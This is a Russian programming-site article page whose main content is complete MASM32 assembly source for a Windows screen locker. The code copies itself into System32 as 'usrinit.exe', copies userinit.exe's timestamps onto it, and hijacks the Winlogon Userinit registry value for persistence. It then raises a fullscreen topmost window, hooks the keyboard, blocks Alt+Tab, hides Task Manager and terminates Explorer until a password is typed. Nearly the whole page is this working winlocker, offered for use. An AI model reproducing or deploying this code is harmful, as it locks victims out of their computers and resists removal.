04.08.2025
| Главная | Поиск | Регистрация | Профиль | Вход | Выход |
Реклама
Реклама
Интересное
Главная » Статьи » Программирование на Ассемблере » Программирование на Ассемблере

Блокиратор windows на ассемблере
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

      .486                      ; create 32 bit code
      .model flat, stdcall      ; 32 bit memory model
      option casemap :none      ; case sensitive

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\Comctl32.inc
      include \masm32\include\shell32.inc
      include \masm32\include\DIALOGS.INC
      include \masm32\macros\macros.asm
      include \masm32\macros\ucmacros.asm
      include \masm32\include\advapi32.inc

      includelib \masm32\lib\masm32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Comctl32.lib
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\advapi32.lib

      DialogProc    PROTO :DWORD,:DWORD,:DWORD,:DWORD
      MyHook        PROTO :DWORD,:DWORD,:DWORD
      EnumProc PROTO :DWORD, :DWORD

.data
taskman dd 0

WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
WSTR keyname,"Userinit"
WSTR userinit,"\userinit.exe,"
WSTR userinit2,"\userinit.exe"
WSTR MyFile,"\usrinit.exe"

explorerKilled db 0

.data?
hWnd dd ?
hInstance dd ?

hIDKey dd ?

ftime1 FILETIME <>
ftime2 FILETIME <>
ftime3 FILETIME <>

hook dd ?

buf db 256 dup(?)
buf2 db 256 dup(?)
sys32 db 128 dup(?)

.code

start:

mov hInstance, FUNC(GetModuleHandle,NULL)
call main
invoke ExitProcess,eax

main PROC
      invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32

      invoke lstrcpyW,offset buf2,offset sys32
      invoke lstrcatW,eax,offset MyFile

      invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL

      invoke GetCommandLine
      mov edi,eax
      inc edi
      mov esi,edi
      mov al,'"'
      repne scasb
      mov byte ptr [edi-1],0

      push esi
      invoke lstrcmp,esi,offset buf
      pop esi
      .if eax!=0
        invoke CopyFile,esi,offset buf,TRUE

        .if eax!=0
          invoke lstrcpyW,offset buf,offset sys32
          invoke lstrcatW,eax,offset userinit2
          invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
          .if eax!=INVALID_HANDLE_VALUE
            push eax
            invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3
            pop eax
            invoke CloseHandle,eax

            invoke lstrcpyW,offset buf,offset sys32
            invoke lstrcatW,eax,offset MyFile
            invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
            .if eax!=INVALID_HANDLE_VALUE
              push eax
              invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3
              pop eax
              invoke CloseHandle,eax
            .endif
          .endif
        .endif

        invoke lstrcpyW,offset buf,offset sys32
        invoke lstrcatW,eax,offset userinit
        invoke lstrcatW,eax,offset sys32
        invoke lstrcatW,eax,offset MyFile

        call WriteReg
      .endif


      Dialog " ", \
             "MS Sans Serif",8, \
              0, \
              3, \
              50,50,230,90, \
              1024

      DlgStatic "Введите пароль (123):",0,100,102,100,13,101
      DlgEdit WS_TABSTOP,205,100,100,13,202
      DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201

      CallModalDialog hInstance,0,DialogProc,NULL

xor eax,eax
ret
main ENDP

DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

    .if uMsg == WM_INITDIALOG
      invoke ShowWindow,hWin,SW_SHOWMAXIMIZED
      invoke GetWindowLong,hWin,GWL_STYLE
      and eax,not WS_CAPTION
      and eax,not WS_THICKFRAME
      invoke SetWindowLong,hWin,GWL_STYLE,eax

      invoke GetWindowLong,hWin,GWL_EXSTYLE
      or eax,WS_EX_LAYERED
      invoke SetWindowLong,hWin,GWL_EXSTYLE,eax
      invoke SetLayeredWindowAttributes,hWin,0,225,LWA_ALPHA

      invoke GetCurrentThreadId
      mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax)

      invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB
      invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

      invoke SetTimer,hWin,101,40,NULL

      m2m hWnd, hWin
    .elseif uMsg==WM_COMMAND
      .if wParam==201
        invoke GetDlgItemText,hWnd,202,offset buf,100
        invoke lstrcmp,offset buf,chr$("123")
        test eax,eax
        je @F
        ret
      @@:
        invoke UnhookWindowsHookEx,hook
        invoke UnregisterHotKey,NULL,108
        invoke KillTimer,hWnd,101
        .if taskman!=0
          invoke ShowWindow,taskman,SW_SHOW
        .endif

        invoke lstrcpyW,offset buf,offset sys32
        invoke lstrcatW,eax,offset userinit

        call WriteReg

        invoke EndDialog,hWin,0
      .endif
    .elseif uMsg==WM_TIMER

    invoke SetForegroundWindow, hWnd
    invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

    call GetForegroundWindow
    cmp eax,hWnd
    je good
      push eax
      invoke GetClassName,eax,offset buf,30
      invoke lstrcmp,offset buf,chr$("#32770")
      pop ebx
      test eax,eax
      jne good
        mov taskman,ebx
        invoke ShowWindow,ebx,SW_HIDE
    good:

    .if explorerKilled==0
      invoke EnumWindows,offset EnumProc,NULL
    .endif

    .endif

xor eax,eax
ret
DialogProc ENDP

MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD
  cmp nCode,0
  jge @F
    invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
    ret
  @@:


  .if (wParam>=31h && wParam<=3Ah) || wParam==8
    invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
    ret
  .endif

  mov eax,1
ret
MyHook ENDP

EnumProc PROC,hWndf :DWORD,lParam :DWORD
  invoke GetWindowText,hWndf,offset buf2,29
  invoke lstrcmp,offset buf2,chr$("Program Manager")

  test eax,eax
  jne @F
    mov explorerKilled,1
    invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL
  @@:
ret
EnumProc ENDP

WriteReg PROC
        invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL
        .IF eax==ERROR_SUCCESS
          invoke lstrlenW,offset buf
          add eax,eax
          add eax,2
          invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax
          invoke RegCloseKey,hIDKey
        .ENDIF
ret
WriteReg ENDP

end start
Категория: Программирование на Ассемблере | Добавил: MalCer (30.07.2009)
Просмотров: 676 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Реклама
Кабинет

Читать ЛС ()

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!



Фраза дня:
Кто с нами

Сегодня были:
Статистика
Партнеры
Graffiti Decorations(R) Studio (TM) Site Promoter Mnogo-softa.net.ru-Софт,срипты,шаблоны и др. MEGA-ToP-ТОП раскрутка раскрутка сайтов. Рейтинг лучших сайтов
описание